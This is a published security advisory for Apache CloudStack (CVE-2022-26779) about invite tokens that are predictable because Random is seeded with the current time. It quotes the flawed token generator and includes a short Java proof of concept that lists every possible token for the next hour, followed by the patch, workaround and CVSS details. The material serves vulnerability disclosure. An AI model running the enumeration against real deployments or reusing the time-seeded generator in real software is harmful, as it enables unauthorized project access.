

apache/cloudstack: Privileged escalation due to Predictable Seed in Pseudo-Random Number Generator (PRNG) and Use of Insufficiently Random Values

Moderate
 JLLeitschuh published GHSA-vpcc-9rh2-8jfp on Mar 10

Package

apache/cloudstack (None)

Affected versions

<= 4.16.0.0

Patched versions

4.16.1.0

Description

Impact

Apache Cloudstack contains a privileged escalation vulnerability in the invite to project logic due to a predictable seed used in a PRNG.

Details

When inviting a user or account to a project via the email, the methods

`ProjectManagerImpl.inviteAccountToProject` OR `ProjectManagerImpl.inviteUserToProject` are invoked, and a random token is emailed to the invitee to allow them to join the project.

- <https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L849-L873>
- <https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L875-L895>

However, this random token is generated predictably using the method `generateToken` with the value of 10 using `System.currentTimeMillis()` as the seed for the random number generator.

- <https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1350-L1359>

```
public static String generateToken(int length) {
    String charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    Random rand = new Random(System.currentTimeMillis());
    StringBuffer sb = new StringBuffer();
    for (int i = 0; i < length; i++) {
        int pos = rand.nextInt(charset.length());
        sb.append(charset.charAt(pos));
    }
    return sb.toString();
}
```

As such, if an attacker knows around the time an invite was generated to invite another user, that attacker would be able to leverage the invite token to impersonate the invited user's invite acceptance.

The invite is stored in the database, but other than "having the secret token" there is no further checks that occur to ensure that the user taking advantage of the token is the user that the token was assigned to.

The site where the project invite is looked up from the database:

- <https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1202>

Notice how the account of the current user making the request isn't included in the lookup.

The user that is the current caller is pulled from the request here:

- <https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1189-L1190>

Then, that accepted invite is assigned to the calling user here:

- <https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1234>
- <https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1241>

As such, an attacker is able to leverage an invite a project that they were never sent because they can compute the value of the invite token.

Proof Of Concept

The following code will print out all of the possible secret tokens for the next hour:

```
public static String generateToken(long time, int length) {
    String charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    Random rand = new Random(time);
    StringBuffer sb = new StringBuffer();
```

```

    for (int i = 0; i < length; i++) {
        int pos = rand.nextInt(charset.length());
        sb.append(charset.charAt(pos));
    }
    return sb.toString();
}

public static void main(String[] args) {
    long startTime = System.currentTimeMillis();
    LongStream
        .rangeClosed(startTime + 0, startTime + (long) (3_600_000))
        .parallel()
        .mapToObj(time -> generateToken(time, 10))
        .forEach(System.out::println);
}

```

Patches

- [apache/cloudstack@ 3fc4ef4](#)

Workarounds

When executing the `addAccountToProject` API call, don't invite by email. Only invite by existing account or user.

Mitigating Factors

`project.invite.required` is false by default and is something that must be enabled by end-users explicitly.

References

- https://owasp.org/www-community/vulnerabilities/Insecure_Randomness

For more information

Open an issue with the Apache Cloudstack team here: <https://github.com/apache/cloudstack/issues>

Severity

Moderate 6.7 / 10

CVSS base metrics

Attack vector

Network

Attack complexity

High

Privileges required

Low

User interaction

Required

User Interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	Low

CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L

CVE ID

CVE-2022-26779

Weaknesses

- CWE-330
- CWE-337

Credits

 JLLeitschuh